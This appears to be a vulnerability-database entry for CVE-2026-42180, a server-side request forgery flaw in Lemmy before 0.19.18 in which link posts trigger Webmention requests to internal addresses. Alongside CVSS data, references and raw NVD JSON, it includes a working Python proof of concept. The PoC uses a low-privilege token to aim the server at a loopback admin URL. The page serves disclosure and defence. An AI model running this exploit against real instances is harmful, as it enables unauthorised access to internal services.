CVE-2026-42180

Description

Lemmy is a link aggregator and forum for the fediverse. Prior to version 0.19.18, Lemmy allows an authenticated low-privileged user to create a link post through POST /api/v3/post. When a post is created in a public community, the backend asynchronously sends a Webmention to the attacker-controlled link target. The submitted URL is checked for syntax and scheme, but the audited code path does not reject loopback, private, or link-local destinations before the Webmention request is issued. This lets a normal user trigger server-side HTTP requests toward internal services. This issue has been patched in version 0.19.18.

CVSS Details

CVSS Score

6.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Lemmy < 0.19.18

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: Lemmy < 0.19.18 SSRF via Webmention
# Description: Trigger server-side HTTP requests to internal services.

target_url = "https://target-lemmy-instance.com/api/v3/post"
attacker_jwt = "YOUR_LOW_PRIV_USER_JWT_TOKEN"

# Targeting an internal service (e.g., localhost admin panel)
malicious_url = "http://127.0.0.1:8080/admin"

headers = {
    "Content-Type": "application/json",
    "Authorization": f"Bearer {attacker_jwt}"
}

payload = {
    "post": {
        "name": "Interesting Link",
        "url": malicious_url,
        "community_id": 1  # ID of a public community
    }
}

try:
    response = requests.post(target_url, json=payload, headers=headers)
    if response.status_code == 200:
        print(f"[+] Success. Server likely sent Webmention to {malicious_url}")
    else:
        print(f"[-] Failed. HTTP {response.status_code}: {response.text}")
except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42180
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42180
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42180/
[4] VulDB https://vuldb.com/cve/CVE-2026-42180
[5] https://github.com/LemmyNet/lemmy/releases/tag/0.19.18
[6] https://github.com/LemmyNet/lemmy/security/advisories/GHSA-3jvj-v6w2-h948

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42180", "sourceIdentifier": "[email protected]", "published": "2026-05-08T20:16:31.023", "lastModified": "2026-05-08T20:16:31.023", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Lemmy is a link aggregator and forum for the fediverse. Prior to version 0.19.18, Lemmy allows an authenticated low-privileged user to create a link post through POST /api/v3/post. When a post is created in a public community, the backend asynchronously sends a Webmention to the attacker-controlled link target. The submitted URL is checked for syntax and scheme, but the audited code path does not reject loopback, private, or link-local destinations before the Webmention request is issued. This lets a normal user trigger server-side HTTP requests toward internal services. This issue has been patched in version 0.19.18."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/LemmyNet/lemmy/releases/tag/0.19.18", "source": "[email protected]"}, {"url": "https://github.com/LemmyNet/lemmy/security/advisories/GHSA-3jvj-v6w2-h948", "source": "[email protected]"}]}}